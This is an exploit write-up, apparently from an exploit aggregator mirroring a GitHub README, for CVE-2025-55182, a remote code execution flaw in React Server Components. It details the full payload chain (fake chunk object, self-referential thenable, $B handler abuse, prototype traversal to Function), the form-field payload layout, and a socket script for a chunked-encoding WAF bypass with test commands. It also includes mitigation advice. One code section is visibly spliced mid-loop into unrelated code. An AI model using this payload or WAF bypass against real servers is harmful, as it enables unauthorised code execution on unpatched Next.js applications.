Share
## https://sploitus.com/exploit?id=2AC4E486-4E22-5E40-B74B-72E916411D41
# CVE-2025-55182 - React Server Components RCE

`NOTE: Written by AI/Claude`


https://github.com/ejpir/CVE-2025-55182-bypass

## TL;DR

CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains **path traversal** + **fake chunk injection** + **$B handler abuse** to execute `Function(attacker_code)`.

**Big thanks to [maple3142](https://gist.github.com/maple3142) for the working exploitation chain!**

---

## The Exploit

### Attack Overview

The exploit uses three form fields to construct a malicious payload:

1. Creates a **fake chunk object** with self-referential `then` (field 1 `$@0` โ†’ field 0)
2. Embeds a **fake `_response`** with `_formData.get` set to `$1:constructor:constructor`
3. Triggers the **`$B` handler** which calls `response._formData.get(response._prefix + id)`
4. **Path traversal** resolves `_formData.get` โ†’ `Function`, executing `Function(code)`

### Exploitation Flow

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  1. Attacker sends multipart form with fake chunk object            โ”‚
โ”‚     โ†’ decodeReply() parses form fields 0, 1, 2                      โ”‚
โ”‚     โ†’ Object has: then, status, value, _response                    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                    โ”‚
                                    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  2. Self-reference makes object thenable with real function         โ”‚
โ”‚     โ†’ then: "$1:__proto__:then" โ†’ Chunk.prototype.then              โ”‚
โ”‚     โ†’ Chunk.prototype.then(this) calls initializeModelChunk(this)   โ”‚
โ”‚     โ†’ Uses this._response (attacker's fake _response)               โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                    โ”‚
                                    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  3. parseModelString() handles "$B1337" reference                   โ”‚
โ”‚     โ†’ case "B": return response._formData.get(response._prefix+id)  โ”‚
โ”‚     โ†’ Calls _formData.get with attacker's _prefix + "1337"          โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                    โ”‚
                                    โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  4. getOutlinedModel() resolves _formData.get (lazy evaluation):    โ”‚
โ”‚     โ†’ "$1:constructor:constructor" traverses prototype chain        โ”‚
โ”‚     โ†’ Returns Function constructor                                  โ”‚
โ”‚     โ†’ Function(code + "1337") โ†’ RCE                                 โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

### Key Components

| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Self-referential thenable; chunk 1 (`$@0`) points back to chunk 0 |
| `status: "resolved_model"` | Makes object appear as valid React chunk |
| `reason: -1` | Sets rootReference to undefined (avoids reference conflicts) |
| `value: '{"then":"$B1337"}'` | Nested payload that triggers `$B` handler |
| `_response._prefix` | Contains the RCE code string |
| `_response._chunks: "$Q2"` | Empty Map to prevent crashes during chunk processing |
| `_response._formData.get` | Points to `Function` via `$1:constructor:constructor` |

### Component Deep Dive

#### Form Field Structure

The exploit uses three form fields with circular references:

```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    โ† references back to field 0
Field 2: []       โ† empty array for _chunks Map
```

#### Self-Referential Thenable (`then`)

The `then: "$1:__proto__:then"` creates a self-reference that resolves to a **real function**:

```
$1:__proto__:then
  โ†“
$1 โ†’ chunk 1 โ†’ "$@0" โ†’ getChunk(0) โ†’ Chunk object
  โ†“
Chunk.__proto__.then โ†’ Chunk.prototype.then (actual function!)
```

**Why this is critical:**

1. `then` resolves to `Chunk.prototype.then` - a real callable function
2. This makes the fake object a valid thenable
3. When awaited, JS calls `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executes with fake object as `this`:

```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" โœ“
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
```

5. `initializeModelChunk(this)` uses `this._response` - the attacker's fake `_response`:

```javascript
value = reviveModel(
  chunk._response,  // โ† attacker's fake _response!
  ...
);
```

**Without the self-reference**, the fake `_response` would never be used. The self-reference makes `Chunk.prototype.then` treat the attacker's object as a real Chunk.

#### Two-Stage Thenable Trigger (`value`)

The `value` field contains a nested JSON string with another thenable:

```json
{"then":"$B1337"}
```

**Stage 1:** Outer object's self-referential `then` triggers chunk processing

**Stage 2:** When React resolves the model, it parses `value` and encounters another thenable with `then: "$B1337"`. The `$B` prefix triggers the handler:

```javascript
case "B":
  return response._formData.get(response._prefix + obj);  // obj = "1337"
```

`_formData.get` is `"$1:constructor:constructor"` โ†’ `getOutlinedModel()` resolves to `Function`.

This becomes: `Function(code + "1337")` โ†’ valid JS because `1337` is just a trailing expression.

#### Defensive Padding (`_chunks`)

The fake `_response` needs a valid `_chunks` property to prevent crashes:

```
Form field "2": []           โ† empty array
_chunks: "$Q2"               โ† $Q = Map type, creates new Map([])
```

React's internal code may access `response._chunks.get()` or `response._chunks.has()` during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable `$B` handler.

---

## Vulnerable Code Paths

| Path | Function | Purpose in Exploit |
|------|----------|-------------------|
| Path Traversal | `getOutlinedModel()` | Resolves `$1:constructor:constructor` โ†’ `Function` |
| Fake `_response` Injection | `initializeModelChunk()` | Uses attacker's `chunk._response` |
| `$B` Handler | `parseModelString()` | Calls `_formData.get(_prefix + id)` โ†’ RCE |

`decodeReply()` is the entry point, not vulnerable itself.

**Path Traversal** (`getOutlinedModel()`):
```javascript
for (key = 1; key  {
  // Headers with chunked encoding
  socket.write([
    'POST / HTTP/1.1',
    'Host: localhost:3000',
    'Content-Type: multipart/form-data; boundary=----WebKit',
    'Transfer-Encoding: chunked',
    'Next-Action: test',
    '', ''
  ].join('\r\n'));

  // Chunk 1: everything up to and including "$
  const chunk1 = '...payload ending with "$';
  socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);

  // Chunk 2: "@0" and rest of payload
  const chunk2 = '@0"\r\n...rest of payload';
  socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);

  // Terminator
  socket.write('0\r\n\r\n');
});
```

#### WAF Behavior Considerations

| WAF Type | Chunk Handling | Bypass Possible? |
|----------|----------------|------------------|
| AWS WAF (ALB) | Reassembles before inspection | Unlikely |
| AWS WAF (CloudFront) | Reassembles before inspection | Unlikely |
| Some legacy WAFs | Inspect per-chunk | **Yes** |
| Nginx ModSecurity | Configurable | Depends on config |

**Note:** AWS WAF typically reassembles chunked bodies before inspection. However, this should be verified per-environment as configurations vary.

### Mitigation Recommendations

1. **Change `OversizeHandling` to `MATCH`**
   ```json
   "OversizeHandling": "MATCH"
   ```
   This blocks any request exceeding the inspection limit when rule conditions are met.

2. **Increase body inspection limit** (CloudFront/API Gateway only)
   Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.

3. **Add size-based blocking rule**
   Block POST requests with `Next-Action` header exceeding a reasonable size (e.g., 10KB).

4. **Patch the application** - The only complete solution.

### Test Scripts

See included test scripts:
- `test-simple.cjs` - Baseline non-chunked payload test
- `test-oversize.cjs` - Tests padding sizes from 0-128KB
- `test-chunked-v2.cjs` - Chunked transfer encoding with `$@` split
- `test-chunked-bypass.cjs` - Multiple chunking strategies (5-byte, 10-byte, pattern splits)

**Usage:**
```bash
# Start vulnerable Next.js server (port 3000)
cd nextjs-test && npm run dev

# Run tests
node test-simple.cjs        # Baseline
node test-oversize.cjs      # Oversize body bypass
node test-chunked-v2.cjs    # Chunked $@ split
node test-chunked-bypass.cjs # All chunking strategies
```

---

## Research Journey

### The Vulnerability: Path Traversal

```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // PATH TRAVERSAL - no hasOwnProperty check!
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}
```

With payload `"$1:constructor:constructor"`:
1. `chunk[1]["constructor"]` โ†’ `[Function: Object]`
2. `Object["constructor"]` โ†’ `[Function: Function]`

### Blocked Paths We Tried

While we obtained `Function`, achieving RCE requires calling it with controlled arguments. These paths failed:

**1. Thenable Path (Blocked)**
```javascript
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name
```

**2. decodeAction Path (Blocked)**
```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
```

**3. Iterator Path (Blocked)**
```javascript
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't execute
```

### The Breakthrough

maple3142 found the missing piece: the `$B` handler + fake `_response` chain. By making `then` resolve to `Chunk.prototype.then` via self-reference, the fake `_response` gets used, enabling RCE.

---

## Key Findings

1. **`getOutlinedModel()` vulnerability is real** - Colon-separated paths allow prototype chain traversal

2. **Function constructor is accessible** - `$1:constructor:constructor` works without serverManifest

3. **RCE is achievable** - By crafting a fake chunk with controlled `_response`:
   - Self-reference `$1:__proto__:then` โ†’ `Chunk.prototype.then` makes fake `_response` get used
   - Fake chunk structure mimics React's internal Chunk class
   - `_response._formData.get` โ†’ `Function` constructor
   - `_response._prefix` โ†’ malicious code string
   - `$B` handler triggers `Function(malicious_code)`

4. **The fix is comprehensive** - Multiple `hasOwnProperty` checks and type validations

---

## References

- [maple3142's Gist](https://gist.github.com/maple3142) - RCE chain discovery
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)

---

## Disclaimer

This repository is for **educational and defensive security research only**. The vulnerability has been patched. Upgrade your dependencies immediately.